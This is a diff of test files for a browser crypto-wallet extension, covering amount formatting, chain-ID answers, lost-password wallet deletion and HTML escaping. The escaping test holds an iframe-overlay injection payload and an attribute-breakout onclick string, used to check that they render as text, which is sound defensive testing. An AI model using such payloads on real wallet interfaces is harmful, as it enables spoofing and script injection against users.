+function swapDetail(amountIn, amountOutMin, label) {
+    const decoded = uniswap.decode(swapData(amountIn, amountOutMin), ROUTER);
+    return decoded.details.find((d) => d.label === label);
+}
+
+function transferData(amount) {
+    return iface.encodeFunctionData("transfer", [RECIPIENT, amount]);
+}
+
+function approveData(amount) {
+    return iface.encodeFunctionData("approve", [SPENDER, amount]);
+}
+
+// The Amount detail as the approval screen renders it: `value` is the line on
+// the screen, `rawValue` is what is carried to the wait/success/error screens.
+function amount(data, token) {
+    const decoded = decodeCalldata(data, token);
+    return decoded.details.find((d) => d.label === "Amount");
+}
+
+beforeEach(() => {
+    state.trackedTokens = [];
+    state.wallets = [];
+});
+
+describe("a nonzero amount never renders as zero", () => {
+    test("500 base units of a 6-decimal token", () => {
+        const detail = amount(transferData(500n), USDC);
+        expect(detail.value).toBe("0.0005 USDC");
+        expect(detail.rawValue).toBe("0.0005");
+    });
+
+    test("1 base unit of an 18-decimal token", () => {
+        const detail = amount(transferData(1n), DAI);
+        expect(detail.value).toBe("0.000000000000000001 DAI");
+        expect(detail.rawValue).toBe("0.000000000000000001");
+    });
+
+    test("500 base units of an 8-decimal token", () => {
+        expect(amount(transferData(500n), WBT).rawValue).toBe("0.000005");
+    });
+
+    test("an allowance below the floor is not rendered as zero either", () => {
+        expect(amount(approveData(1n), DAI).value).toBe(
+            "0.000000000000000001 DAI",
+        );
+    });
+
+    // The floor holds at any scale, not only the three above: for every
+    // decimals a token can declare, one base unit has to show a digit.
+    test("one base unit shows a significant digit at every scale", () => {
+        for (let decimals = 0; decimals <= 30; decimals++) {
+            state.trackedTokens = [{ address: NOVEL, decimals }];
+            expect(amount(transferData(1n), NOVEL).rawValue).toMatch(/[1-9]/);
+        }
+    });
+});
+
+// The swap decoder formats its own amounts, so the same floor has to hold on
+// the swap lines of the same screen. `Min. received` is the sharper of the
+// two: the slippage floor rendered as `0.0000` states that the swap may return
+// nothing.
+describe("a swap's amounts never render as zero either", () => {
+    test("a swap input below the floor keeps a significant digit", () => {
+        // 50 base units of a 6-decimal token is 0.00005.
+        const detail = swapDetail(50n, 10n ** 15n, "Amount");
+        expect(detail.value).toBe("0.00005 USDT");
+        expect(detail.rawValue).toBe("0.00005");
+    });
+
+    test("a min-received below the floor keeps a significant digit", () => {
+        // 1 wei of an 18-decimal token.
+        expect(swapDetail(10n ** 6n, 1n, "Min. received").value).toBe(
+            "0.000000000000000001 WETH",
+        );
+    });
+
+    test("swap amounts at or above the floor are still truncated", () => {
+        expect(swapDetail(1000000n, 10n ** 15n, "Amount").rawValue).toBe(
+            "1.0000",
+        );
+        expect(
+            swapDetail(1000000n, 999999999999999999n, "Min. received").value,
+        ).toBe("0.9999 WETH");
+    });
+});
+
+describe("the four-decimal rule is otherwise unchanged", () => {
+    test("a whole amount keeps exactly four decimals", () => {
+        expect(amount(transferData(5000000000n), USDC).rawValue).toBe(
+            "5000.0000",
+        );
+    });
+
+    test("precision beyond four decimals is still truncated", () => {
+        expect(amount(transferData(1234567890123456789n), DAI).rawValue).toBe(
+            "1.2345",
+        );
+    });
+
+    test("an amount at the floor is not extended", () => {
+        expect(amount(transferData(100000000000000n), DAI).rawValue).toBe(
+            "0.0001",
+        );
+    });
+
+    test("a genuine zero still renders as zero", () => {
+        expect(amount(transferData(0n), DAI).rawValue).toBe("0.0000");
+    });
+
+    // The three truncators now share one module. The floor is a policy of the
+    // approval and confirmation screens only: the history and balance lists
+    // keep plain truncation, because the transaction detail view is the
+    // authoritative record and already shows exact precision.
+    test("the list rule stays unfloored", () => {
+        expect(truncateAmount("0.000000000000000001")).toBe("0.0000");
+        expect(truncateAmountNeverZero("0.000000000000000001")).toBe(
+            "0.000000000000000001",
+        );
+    });
+});

tests/balanceLineEscaping.test.js

@@ -0,0 +1,69 @@
+// balanceLine() is the row that issue #307 was reported against: every
+// screen that lists a holding renders through it, and the symbol it renders
+// is whatever an ERC-20's symbol() returned. This asserts against the
+// string it emits, which is what gets assigned to innerHTML.
+//
+// The browser half of the same claim — that a real Chrome renders that
+// string as text and puts no iframe in the popup DOM — is in
+// tests/e2e/run.js. This half runs inside the 20-second make test cap.
+
+"use strict";
+
+// helpers.js reaches for both at module scope through the modules it pulls
+// in. Neither is exercised by anything asserted here.
+global.chrome = {
+    storage: {
+        local: {
+            get: () => Promise.resolve({}),
+            set: () => Promise.resolve(),
+        },
+    },
+    runtime: { sendMessage: () => {} },
+};
+global.document = {
+    getElementById: () => null,
+    createElement: () => ({ style: {}, classList: { toggle() {} } }),
+    body: { prepend: () => {} },
+    addEventListener: () => {},
+};
+
+const { balanceLine } = require("../src/popup/views/helpers");
+const { MAX_SYMBOL_LENGTH } = require("../src/shared/symbolDisplay");
+
+// The payload from the issue's reproduction, verbatim.
+const HOSTILE_SYMBOL =
+    '<iframe id="pwn" src="https://dapp.e2e.test/" ' +
+    'style="position:fixed;left:0;top:0;width:360px;height:600px;z-index:99999"></iframe>';
+
+describe("balanceLine", () => {
+    test("emits a hostile symbol as text, not as an element", () => {
+        // Deliberately asserted on the escaping alone. The cap truncates
+        // this payload before its id attribute, so an assertion about the
+        // rest of the payload would pass on the cap and say nothing about
+        // the escape.
+        const html = balanceLine(HOSTILE_SYMBOL, 1, null, null);
+        expect(html).not.toContain("<iframe");
+        expect(html).toContain("&lt;iframe");
+    });
+
+    test("caps the symbol before rendering it", () => {
+        const html = balanceLine("A".repeat(4096), 1, null, null);
+        expect(html).toContain("A".repeat(MAX_SYMBOL_LENGTH - 1) + "…");
+        expect(html).not.toContain("A".repeat(MAX_SYMBOL_LENGTH + 1));
+    });
+
+    // The token id lands inside data-token="...", so a quote in it is a
+    // way out of the attribute and into a new one.
+    test("keeps a quote-bearing token id inside its attribute", () => {
+        const html = balanceLine("TKN", 1, null, '" onclick="alert(1)');
+        expect(html).not.toContain('onclick="');
+        expect(html).toContain('data-token="&quot; onclick=&quot;alert(1)"');
+    });
+
+    test("renders an ordinary holding unchanged", () => {
+        const html = balanceLine("USDC", 1.5, null, "0xabc");
+        expect(html).toContain("<span>USDC</span>");
+        expect(html).toContain("<span>1.5000</span>");
+        expect(html).toContain('data-token="0xabc"');
+    });
+});

tests/coldWorkerChainId.test.js

@@ -0,0 +1,258 @@
+// What eth_chainId and net_version answer on a worker that has not loaded
+// state yet.
+//
+// The MV3 service worker is terminated when idle and revived by the next
+// message, and nothing loads state at module scope. Both methods answered from
+// currentNetwork(), which reads the module-level `state` singleton, so a
+// worker revived by the page's own message answered out of DEFAULT_STATE and
+// told a page it was on mainnet while the user was on Sepolia
+// (https://git.eeqj.de/sneak/AutistMask/issues/317).
+//
+// This file therefore uses the REAL state module and never calls loadState()
+// itself: the handler has to answer from storage on its own. Same shape as
+// tests/coldWorkerChainSwitch.test.js, which covers the write side.
+
+const { networkById } = require("../src/shared/networks");
+
+const ADDRESS = "0x66133E8ea0f5D1d612D2502a968757D1048c214a";
+
+const CONNECTED_ORIGIN = "https://dapp.example";
+const CONNECTED_HOSTNAME = "dapp.example";
+const UNKNOWN_ORIGIN = "https://stranger.example";
+
+const MAINNET = networkById("mainnet");
+const SEPOLIA = networkById("sepolia");
+
+const REFRESHED_BALANCE = "1.5";
+
+function storedProfile(networkId) {
+    return {
+        hasWallet: true,
+        wallets: [
+            {
+                name: "Wallet 1",
+                type: "hd",
+                addresses: [
+                    { address: ADDRESS, balance: "0", tokenBalances: [] },
+                ],
+            },
+        ],
+        activeAddress: ADDRESS,
+        networkId,
+        rpcUrl: networkById(networkId).defaultRpcUrl,
+        blockscoutUrl: networkById(networkId).defaultBlockscoutUrl,
+        allowedSites: { [ADDRESS]: [CONNECTED_HOSTNAME] },
+        deniedSites: {},
+        trackedTokens: [],
+    };
+}
+
+async function settle() {
+    for (let i = 0; i < 50; i++) await Promise.resolve();
+}
+
+afterEach(() => {
+    delete global.chrome;
+});
+
+// Load the background worker with the real state module behind it, over a
+// storage stub that keeps what is written.
+//
+// The stub structured-clones in both directions, as the real
+// chrome.storage.local does. A stub that handed back the live stored object
+// would alias it into whatever read it, so an in-place mutation of a detached
+// copy would appear to have reached storage and this whole class of defect
+// would be invisible here.
+//
+// opts.refreshBalances replaces the balances stub, so a test can hold a
+// refresh open across a message.
+function loadColdWorker(networkId, opts) {
+    jest.resetModules();
+
+    const options = opts || {};
+
+    jest.doMock("../src/shared/balances", () => ({
+        getProvider: () => ({}),
+        refreshBalances: options.refreshBalances || jest.fn(async () => {}),
+    }));
+    jest.doMock("../src/shared/phishingDomains", () => ({
+        isPhishingDomain: () => false,
+    }));
+
+    let alarmHandlers = {};
+    jest.doMock("../src/shared/alarms", () => ({
+        BALANCE_REFRESH_ALARM: "balance",
+        BALANCE_REFRESH_PERIOD_MINUTES: 1,
+        ensureRecurringAlarms: jest.fn(async () => {}),
+        registerAlarmHandlers: jest.fn((handlers) => {
+            alarmHandlers = handlers;
+        }),
+    }));
+
+    const store = { autistmask: storedProfile(networkId) };
+
+    let messageListener = null;
+    const set = jest.fn(async (items) => {
+        store.autistmask = structuredClone(items.autistmask);
+    });
+
+    global.chrome = {
+        storage: {
+            local: {
+                get: jest.fn(async () => structuredClone(store)),
+                set,
+            },
+        },
+        runtime: {
+            getURL: (path) => "chrome-extension://autistmask/" + path,
+            onMessage: {
+                addListener: (fn) => {
+                    messageListener = fn;
+                },
+            },
+            onConnect: { addListener: () => {} },
+            lastError: null,
+        },
+        windows: {
+            getLastFocused: (cb) => cb(null),
+            create: (options, cb) => cb({ id: 1 }),
+            remove: (id, cb) => {
+                if (cb) cb();
+            },
+            onRemoved: { addListener: () => {} },
+        },
+        tabs: {
+            query: (queryInfo, cb) => cb([{ id: 1 }]),
+            sendMessage: (tabId, message, cb) => {
+                if (cb) cb();
+            },
+        },
+        action: { setPopup: () => {} },
+    };
+
+    require("../src/background/index");
+
+    async function rpc(method, origin) {
+        let result = null;
+        messageListener(
+            { type: "AUTISTMASK_RPC", method, params: [] },
+            { origin: origin || CONNECTED_ORIGIN },
+            (r) => {
+                result = r;
+            },
+        );
+        await settle();
+        return result;
+    }
+
+    return {
+        rpc,
+        persisted: () => store.autistmask,
+        storageSet: set,
+        fireBalanceAlarm: () => alarmHandlers.balance(),
+    };
+}
+
+describe("chain identity read by a worker that never loaded state", () => {
+    test("eth_chainId answers the stored chain, not the default", async () => {
+        // The first message this worker ever sees. Reading the unloaded
+        // singleton answers mainnet's 0x1 to a user who is on Sepolia.
+        const bg = loadColdWorker("sepolia");
+
+        expect(await bg.rpc("eth_chainId")).toEqual({
+            result: SEPOLIA.chainId,
+        });
+    });
+
+    test("net_version answers the stored chain, not the default", async () => {
+        const bg = loadColdWorker("sepolia");
+
+        expect(await bg.rpc("net_version")).toEqual({
+            result: SEPOLIA.networkVersion,
+        });
+    });
+
+    test("answers the stored chain to an origin that never connected", async () => {
+        // Neither method is gated on a connection, so the stale answer reached
+        // any page at all; the fixed answer has to as well.
+        const bg = loadColdWorker("sepolia");
+
+        expect(await bg.rpc("eth_chainId", UNKNOWN_ORIGIN)).toEqual({
+            result: SEPOLIA.chainId,
+        });
+        expect(await bg.rpc("net_version", UNKNOWN_ORIGIN)).toEqual({
+            result: SEPOLIA.networkVersion,
+        });
+    });
+
+    test("answers mainnet for a profile stored on mainnet", async () => {
+        // The default and the stored value agree here, so this case cannot
+        // catch the defect; it is what keeps the fix from being a swap.
+        const bg = loadColdWorker("mainnet");
+
+        expect(await bg.rpc("eth_chainId")).toEqual({
+            result: MAINNET.chainId,
+        });
+        expect(await bg.rpc("net_version")).toEqual({
+            result: MAINNET.networkVersion,
+        });
+    });
+
+    test("persists nothing: these are reads", async () => {
+        // The load must not turn a read into a write. saveState() persists
+        // every field of the singleton, and a read path that reached it would
+        // be the wipe https://git.eeqj.de/sneak/AutistMask/issues/316 fixed.
+        const bg = loadColdWorker("sepolia");
+
+        await bg.rpc("eth_chainId");
+        await bg.rpc("net_version");
+
+        expect(bg.storageSet).not.toHaveBeenCalled();
+        expect(bg.persisted()).toEqual(storedProfile("sepolia"));
+    });
+
+    test("a chain read arriving mid-refresh does not discard the refresh", async () => {
+        // Any page reaches these two methods, and the injected provider sends
+        // eth_chainId on every page load, so this overlap is ordinary traffic
+        // rather than a contrived race.
+        //
+        // backgroundRefresh() hands the singleton's wallets to
+        // refreshBalances(), which mutates those address objects in place once
+        // the network round trip resolves, and only then saves. Answering the
+        // page by calling loadState() would replace state.wallets mid-flight,
+        // so the refreshed balances would land on detached objects and the
+        // save that follows would persist the pre-refresh values — while still
+        // stamping lastBalanceRefresh, suppressing the redo.
+        let releaseRoundTrip;
+        const roundTrip = new Promise((resolve) => {
+            releaseRoundTrip = resolve;
+        });
+        let refreshReachedNetwork;
+        const inFlight = new Promise((resolve) => {
+            refreshReachedNetwork = resolve;
+        });
+
+        const bg = loadColdWorker("sepolia", {
+            refreshBalances: async (wallets) => {
+                refreshReachedNetwork();
+                await roundTrip;
+                // In place, on the objects handed in — as balances.js does.
+                wallets[0].addresses[0].balance = REFRESHED_BALANCE;
+            },
+        });
+
+        const refresh = bg.fireBalanceAlarm();
+        await inFlight;
+
+        expect(await bg.rpc("eth_chainId", UNKNOWN_ORIGIN)).toEqual({
+            result: SEPOLIA.chainId,
+        });
+
+        releaseRoundTrip();
+        await refresh;
+
+        expect(bg.persisted().wallets[0].addresses[0].balance).toBe(
+            REFRESHED_BALANCE,
+        );
+    });
+});

tests/deleteWalletLostPassword.test.js

@@ -0,0 +1,503 @@
+// The lost-password route off the delete-wallet screen (issue #312).
+//
+// What is pinned here is that a user who has forgotten the password can
+// still get out — no password is asked for and none is checked — and that
+// the escape hatch destroys exactly the wallet it names and nothing else.
+// The second half is the dangerous one: this is the only control in the
+// product that erases key material without the password that encrypted it,
+// so an off-by-one in the wallet it removes would take a wallet whose
+// owner never asked for it to be touched.
+//
+// The assertions are made against what came back OUT of extension storage,
+// not against the live `state` object. Deleting a wallet in memory and
+// never persisting it looks identical from `state`, and a build that never
+// wrote at all would pass a check that only reads `state` back.
+//
+// That makes the storage stub load-bearing, so it is a real store that
+// structured-clones on both `set` and `get`. A stub whose `get` hands back
+// the same object its `set` was given aliases the caller's own array: the
+// test then reads its own in-memory mutation and calls it persistence, and
+// passes against a build that persists nothing (see issue #324). The
+// aliasing is closed off explicitly by the first test below rather than
+// left as an assumption about `structuredClone`.
+//
+// The view is driven against a minimal DOM stub, in the same shape as
+// tests/exportPrivkey.test.js: the module reads and writes named nodes and
+// needs nothing else from a document.
+
+const mockSettingsShow = jest.fn();
+jest.mock("../src/popup/views/settings", () => ({
+    show: mockSettingsShow,
+}));
+jest.mock("../src/shared/vault", () => ({
+    decryptWithPassword: jest.fn(),
+}));
+
+const { RESTORABLE_VIEWS } = require("../src/popup/restorableViews");
+
+const VIEW = "delete-wallet-lost-password";
+
+// Fixed addresses — never used for anything but these tests.
+const A0 = "0x66133E8ea0f5D1d612D2502a968757D1048c214a";
+const A1 = "0xdAC17F958D2ee523a2206206994597C13D831ec7";
+const B0 = "0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599";
+const C0 = "0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48";
+
+// ------------------------------------------------------------ DOM stub
+
+function makeElement(id) {
+    const classes = new Set();
+    const el = {
+        id,
+        textContent: "",
+        value: "",
+        innerHTML: "",
+        disabled: false,
+        style: {},
+        dataset: {},
+        listeners: {},
+        classList: {
+            add: (...names) => names.forEach((n) => classes.add(n)),
+            remove: (...names) => names.forEach((n) => classes.delete(n)),
+            contains: (n) => classes.has(n),
+            toggle: (n, force) => {
+                const on = force === undefined ? !classes.has(n) : force;
+                if (on) classes.add(n);
+                else classes.delete(n);
+                return on;
+            },
+        },
+        addEventListener: (name, fn) => {
+            el.listeners[name] = el.listeners[name] || [];
+            el.listeners[name].push(fn);
+        },
+        appendChild: () => {},
+        remove: () => {},
+        querySelectorAll: () => [],
+    };
+    return el;
+}
+
+function makeDocument() {
+    const els = new Map();
+    return {
+        getElementById(id) {
+            // The debug banner is created on demand by helpers.js; absent
+            // is the state a non-debug, non-testnet popup is in.
+            if (id === "debug-banner") return null;
+            if (!els.has(id)) els.set(id, makeElement(id));
+            return els.get(id);
+        },
+        createElement: () => makeElement("created"),
+        addEventListener: () => {},
+        body: { prepend: () => {} },
+    };
+}
+
+// --------------------------------------------------------- storage stub
+
+// A store that behaves the way `chrome.storage.local` does: what goes in is
+// serialized, so the caller keeps no handle on what came to rest there, and
+// what comes out is a fresh object the caller may mutate freely.
+function makeStorage() {
+    let store = {};
+    return {
+        get: async (keys) => {
+            const wanted =
+                keys === undefined || keys === null
+                    ? Object.keys(store)
+                    : [].concat(keys);
+            const out = {};
+            for (const key of wanted) {
+                if (key in store) out[key] = structuredClone(store[key]);
+            }
+            return out;
+        },
+        set: async (items) => {
+            for (const [key, value] of Object.entries(items)) {
+                store[key] = structuredClone(value);
+            }
+        },
+        // Test-only: what the extension would find on a cold start.
+        _raw: () => structuredClone(store),
+    };
+}
+
+// ------------------------------------------------------------ harness
+
+function wallet(name, secret, addresses) {
+    return {
+        type: "hd",
+        name,
+        xpub: "xpub-" + name,
+        encryptedSecret: secret,
+        nextIndex: addresses.length,
+        addresses: addresses.map((address) => ({
+            address,
+            balance: "0.0000",
+            tokenBalances: [],
+        })),
+    };
+}
+
+function load() {
+    jest.resetModules();
+    mockSettingsShow.mockClear();
+
+    const storage = makeStorage();
+    const sent = [];
+    globalThis.chrome = {
+        storage: { local: storage },
+        runtime: { sendMessage: (msg) => sent.push(msg) },
+    };
+    globalThis.document = makeDocument();
+
+    const helpers = require("../src/popup/views/helpers");
+    const { state } = require("../src/shared/state");
+    const vault = require("../src/shared/vault");
+    const deleteWallet = require("../src/popup/views/deleteWallet");
+
+    state.hasWallet = true;
+    state.wallets = [
+        wallet("Wallet 1", "secret-one", [A0, A1]),
+        wallet("Wallet 2", "secret-two", [B0]),
+        wallet("Wallet 3", "secret-three", [C0]),
+    ];
+    state.selectedWallet = 0;
+    state.selectedAddress = 0;
+    state.activeAddress = A0;
+    state.allowedSites = { [A0]: ["a.example"], [B0]: ["b.example"] };
+    state.deniedSites = { [B0]: ["c.example"], [C0]: ["d.example"] };
+    state.viewStack = ["main", "settings"];
+    state.currentView = "settings";
+
+    const renderWalletList = jest.fn();
+    deleteWallet.init({ renderWalletList });
+
+    return { helpers, state, vault, deleteWallet, storage, sent };
+}
+
+function click(id) {
+    const el = globalThis.document.getElementById(id);
+    return Promise.all((el.listeners.click || []).map((fn) => fn()));
+}
+
+function node(id) {
+    return globalThis.document.getElementById(id);
+}
+
+// The wallets as the extension would read them back on a cold start.
+async function persistedWallets(storage) {
+    const result = await storage.get("autistmask");
+    return result.autistmask.wallets;
+}
+
+// Open the lost-password screen for a wallet, the way the user does.
+async function openLostPassword(deleteWallet, walletIdx) {
+    deleteWallet.show(walletIdx);
+    await click("btn-delete-wallet-lost-password");
+}
+
+// ------------------------------------------------------------ tests
+
+// The stub is what every persistence assertion below rests on, so its one
+// dangerous failure mode is closed off first. An aliasing store passes
+// every other test in this file against a build that never writes.
+describe("the storage stub", () => {
+    test("does not hand back the object it was given", async () => {
+        const storage = makeStorage();
+        const written = { wallets: [{ name: "Wallet 1" }] };
+
+        await storage.set({ autistmask: written });
+        written.wallets.push({ name: "Wallet 2" });
+        written.wallets[0].name = "renamed after the write";
+
+        const readBack = (await storage.get("autistmask")).autistmask;
+        expect(readBack.wallets).toHaveLength(1);
+        expect(readBack.wallets[0].name).toBe("Wallet 1");
+
+        // And the other direction: mutating what came out must not reach
+        // back into the store.
+        readBack.wallets[0].name = "renamed after the read";
+        const again = (await storage.get("autistmask")).autistmask;
+        expect(again.wallets[0].name).toBe("Wallet 1");
+    });
+});
+
+describe("reaching the screen", () => {
+    test("the delete screen offers the route", async () => {
+        const { deleteWallet, state } = load();
+        await openLostPassword(deleteWallet, 1);
+
+        expect(state.currentView).toBe(VIEW);
+        expect(node("delete-wallet-lost-name").textContent).toBe("Wallet 2");
+        expect(node("delete-wallet-lost-name-echo").textContent).toBe(
+            "Wallet 2",
+        );
+    });
+
+    // Both delete screens hang off Settings. Pushing one onto the other
+    // would leave Back on the confirm screen popping onto itself.
+    test("it does not push the screen it came from", async () => {
+        const { deleteWallet, state } = load();
+        await openLostPassword(deleteWallet, 1);
+
+        expect(state.viewStack).toEqual(["main", "settings"]);
+    });
+
+    test("Back returns to the delete screen with its wallet still chosen", async () => {
+        const { deleteWallet, state } = load();
+        await openLostPassword(deleteWallet, 1);
+        await click("btn-delete-wallet-lost-back");
+
+        expect(state.currentView).toBe("delete-wallet-confirm");
+        expect(node("delete-wallet-name").textContent).toBe("Wallet 2");
+        expect(state.viewStack).toEqual(["main", "settings"]);
+
+        // The confirm screen is usable, not merely on screen: the wallet
+        // it holds is the one that was chosen, so its own button does not
+        // answer "No wallet selected for deletion."
+        node("delete-wallet-password").value = "some password";
+        const { decryptWithPassword } = require("../src/shared/vault");
+        decryptWithPassword.mockRejectedValue(new Error("nope"));
+        await click("btn-delete-wallet-confirm");
+        expect(node("delete-wallet-flash").textContent).toBe(
+            "That password is incorrect. Please try again.",
+        );
+    });
+});
+
+describe("the typed confirmation", () => {
+    test("a name that is not the wallet's deletes nothing", async () => {
+        const { deleteWallet, state, storage } = load();
+        await openLostPassword(deleteWallet, 1);
+
+        node("delete-wallet-lost-name-input").value = "Wallet 3";
+        await click("btn-delete-wallet-lost-confirm");
+
+        expect(node("delete-wallet-lost-flash").textContent).toBe(
+            "That is not the name of this wallet. Type Wallet 2 to confirm.",
+        );
+        expect(node("delete-wallet-lost-flash").style.visibility).toBe(
+            "visible",
+        );
+        expect(state.wallets.map((w) => w.name)).toEqual([
+            "Wallet 1",
+            "Wallet 2",
+            "Wallet 3",
+        ]);
+        expect(state.currentView).toBe(VIEW);
+        // Nothing was destroyed on disk either. Storage is not empty —
+        // showView() persists the current screen on the way in — so what
+        // is asserted is that all three wallets are still in it.
+        const persisted = await persistedWallets(storage);
+        expect(persisted.map((w) => w.encryptedSecret)).toEqual([
+            "secret-one",
+            "secret-two",
+            "secret-three",
+        ]);
+    });
+
+    test("an empty field deletes nothing", async () => {
+        const { deleteWallet, state } = load();
+        await openLostPassword(deleteWallet, 1);
+
+        await click("btn-delete-wallet-lost-confirm");
+
+        expect(node("delete-wallet-lost-flash").style.visibility).toBe(
+            "visible",
+        );
+        expect(state.wallets).toHaveLength(3);
+    });
+
+    // Not a secret and not a password: it asks whether the user knows
+    // which wallet they are on. Refusing the name they can plainly read,
+    // over letter case, would only teach them to distrust the control.
+    test("case and surrounding spaces do not matter", async () => {
+        const { deleteWallet, state, storage } = load();
+        await openLostPassword(deleteWallet, 1);
+
+        node("delete-wallet-lost-name-input").value = "  wALLet 2 ";
+        await click("btn-delete-wallet-lost-confirm");
+
+        expect(state.wallets.map((w) => w.name)).toEqual([
+            "Wallet 1",
+            "Wallet 3",
+        ]);
+        expect(await persistedWallets(storage)).toHaveLength(2);
+    });
+
+    // A name with a doubled inner space RENDERS with one — HTML collapses
+    // runs of whitespace — so the string the user can see and type is not
+    // the string the name is stored as. Comparing the two raw would make
+    // this wallet's confirmation impossible to satisfy by any typing at
+    // all, wedging the one screen that exists to unwedge people.
+    test("a doubled space inside the name is typed back as one", async () => {
+        const { deleteWallet, state, storage } = load();
+        state.wallets[1].name = "My  Wallet";
+        await openLostPassword(deleteWallet, 1);
+
+        // What the DOM was handed still has both spaces; what the user
+        // reads off the screen, and therefore types, has one.
+        expect(node("delete-wallet-lost-name").textContent).toBe("My  Wallet");
+        node("delete-wallet-lost-name-input").value = "My Wallet";
+        await click("btn-delete-wallet-lost-confirm");
+
+        expect(state.wallets.map((w) => w.name)).toEqual([
+            "Wallet 1",
+            "Wallet 3",
+        ]);
+        const persisted = await persistedWallets(storage);
+        expect(persisted.map((w) => w.encryptedSecret)).toEqual([
+            "secret-one",
+            "secret-three",
+        ]);
+    });
+});
+
+describe("deleting without the password", () => {
+    test("no password is asked for and none is checked", async () => {
+        const { deleteWallet, vault, storage } = load();
+        await openLostPassword(deleteWallet, 1);
+
+        node("delete-wallet-lost-name-input").value = "Wallet 2";
+        await click("btn-delete-wallet-lost-confirm");
+
+        expect(vault.decryptWithPassword).not.toHaveBeenCalled();
+        expect(await persistedWallets(storage)).toHaveLength(2);
+    });
+
+    // The load-bearing assertion of the whole file, and the one that says
+    // this control is safe to give a user who cannot prove anything: it
+    // removes the wallet it named, and every other wallet survives intact,
+    // key material included.
+    test("exactly the named wallet is destroyed", async () => {
+        const { deleteWallet, storage } = load();
+        await openLostPassword(deleteWallet, 1);
+
+        node("delete-wallet-lost-name-input").value = "Wallet 2";
+        await click("btn-delete-wallet-lost-confirm");
+
+        const wallets = await persistedWallets(storage);
+        expect(wallets.map((w) => w.name)).toEqual(["Wallet 1", "Wallet 3"]);
+        expect(wallets.map((w) => w.encryptedSecret)).toEqual([
+            "secret-one",
+            "secret-three",
+        ]);
+        expect(wallets.map((w) => w.xpub)).toEqual([
+            "xpub-Wallet 1",
+            "xpub-Wallet 3",
+        ]);
+        expect(wallets[0].addresses.map((a) => a.address)).toEqual([A0, A1]);
+        expect(wallets[1].addresses.map((a) => a.address)).toEqual([C0]);
+
+        // The deleted wallet's secret is gone from storage entirely, not
+        // merely unreferenced by the wallet list.
+        expect(JSON.stringify(storage._raw())).not.toContain("secret-two");
+        expect(JSON.stringify(storage._raw())).not.toContain("xpub-Wallet 2");
+    });
+
+    test("only the deleted wallet's site permissions are dropped", async () => {
+        const { deleteWallet, storage } = load();
+        await openLostPassword(deleteWallet, 1);
+
+        node("delete-wallet-lost-name-input").value = "Wallet 2";
+        await click("btn-delete-wallet-lost-confirm");
+
+        const saved = (await storage.get("autistmask")).autistmask;
+        expect(saved.allowedSites).toEqual({ [A0]: ["a.example"] });
+        expect(saved.deniedSites).toEqual({ [C0]: ["d.example"] });
+    });
+
+    // The route shares finishDelete() with the password route, so the
+    // selection repair and the accountsChanged broadcast are the same on
+    // both. Deleting a wallet that did not own the active address must
+    // leave that address, and the selection, exactly where they were.
+    test("a selection in another wallet is left alone", async () => {
+        const { deleteWallet, storage, sent } = load();
+        await openLostPassword(deleteWallet, 1);
+
+        node("delete-wallet-lost-name-input").value = "Wallet 2";
+        await click("btn-delete-wallet-lost-confirm");
+
+        const saved = (await storage.get("autistmask")).autistmask;
+        expect(saved.activeAddress).toBe(A0);
+        expect(saved.selectedWallet).toBe(0);
+        expect(saved.selectedAddress).toBe(0);
+        expect(sent).toEqual([]);
+        // Settings is stubbed, so this is where the route hands over, not
+        // where it renders.
+        expect(mockSettingsShow).toHaveBeenCalled();
+    });
+
+    test("deleting the wallet holding the active address moves it and says so", async () => {
+        const { deleteWallet, storage, sent } = load();
+        await openLostPassword(deleteWallet, 0);
+
+        node("delete-wallet-lost-name-input").value = "Wallet 1";
+        await click("btn-delete-wallet-lost-confirm");
+
+        const saved = (await storage.get("autistmask")).autistmask;
+        expect(saved.wallets.map((w) => w.name)).toEqual([
+            "Wallet 2",
+            "Wallet 3",
+        ]);
+        expect(saved.activeAddress).toBe(B0);
+        expect(sent).toEqual([{ type: "AUTISTMASK_ACTIVE_CHANGED" }]);
+    });
+
+    test("deleting the last wallet lands on Welcome with nothing left", async () => {
+        const { deleteWallet, state, storage } = load();
+        state.wallets = [wallet("Wallet 1", "secret-one", [A0])];
+        state.allowedSites = { [A0]: ["a.example"] };
+        state.deniedSites = {};
+
+        await openLostPassword(deleteWallet, 0);
+        node("delete-wallet-lost-name-input").value = "Wallet 1";
+        await click("btn-delete-wallet-lost-confirm");
+
+        const saved = (await storage.get("autistmask")).autistmask;
+        expect(saved.wallets).toEqual([]);
+        expect(saved.hasWallet).toBe(false);
+        expect(saved.activeAddress).toBeNull();
+        expect(saved.allowedSites).toEqual({});
+        expect(state.currentView).toBe("welcome");
+        expect(JSON.stringify(storage._raw())).not.toContain("secret-one");
+    });
+});
+
+describe("what the screen leaves behind", () => {
+    test("the typed confirmation is wiped when the screen is left", async () => {
+        const { helpers, deleteWallet } = load();
+        await openLostPassword(deleteWallet, 1);
+
+        node("delete-wallet-lost-name-input").value = "Wallet 2";
+        // The Settings gear, which is not this screen's Back button.
+        helpers.showView("settings");
+
+        expect(node("delete-wallet-lost-name-input").value).toBe("");
+        expect(node("delete-wallet-lost-flash").textContent).toBe("");
+        expect(node("delete-wallet-lost-flash").style.visibility).toBe(
+            "hidden",
+        );
+    });
+
+    // Left mid-delete, the screen has to come back usable.
+    test("the confirm button is re-enabled on the way out", async () => {
+        const { helpers, deleteWallet } = load();
+        await openLostPassword(deleteWallet, 1);
+
+        node("btn-delete-wallet-lost-confirm").disabled = true;
+        helpers.showView("settings");
+
+        expect(node("btn-delete-wallet-lost-confirm").disabled).toBe(false);
+    });
+
+    // A wallet name is not a secret, so the screen is excluded for the
+    // other reason: reopening the popup must not land the user on a screen
+    // whose button erases key material.
+    test("the popup may not reopen onto it", () => {
+        expect(RESTORABLE_VIEWS.has(VIEW)).toBe(false);
+        expect(RESTORABLE_VIEWS.has("delete-wallet-confirm")).toBe(false);
+    });
+});

tests/e2e/firefox/Dockerfile

@@ -72,6 +72,11 @@ RUN script/bootstrap
 
 COPY . .
 
-RUN make build
+# make package builds (and verifies) dist/ and then writes the release
+# artifacts, so the image carries both: run.js installs the unpacked
+# dist/firefox and reinstall.js installs the packaged .xpi, which is how the
+# artifact that would actually be handed to someone gets exercised in a real
+# Firefox rather than only being produced.
+RUN make package
 
 CMD ["node", "tests/e2e/firefox/run.js", "dist/firefox"]

tests/e2e/firefox/driver.js

@@ -103,7 +103,13 @@ class Driver {
 
     // ------------------------------------------------------------ setup
 
-    async newSession() {
+    // `profileDir` reuses an existing profile directory in place instead of
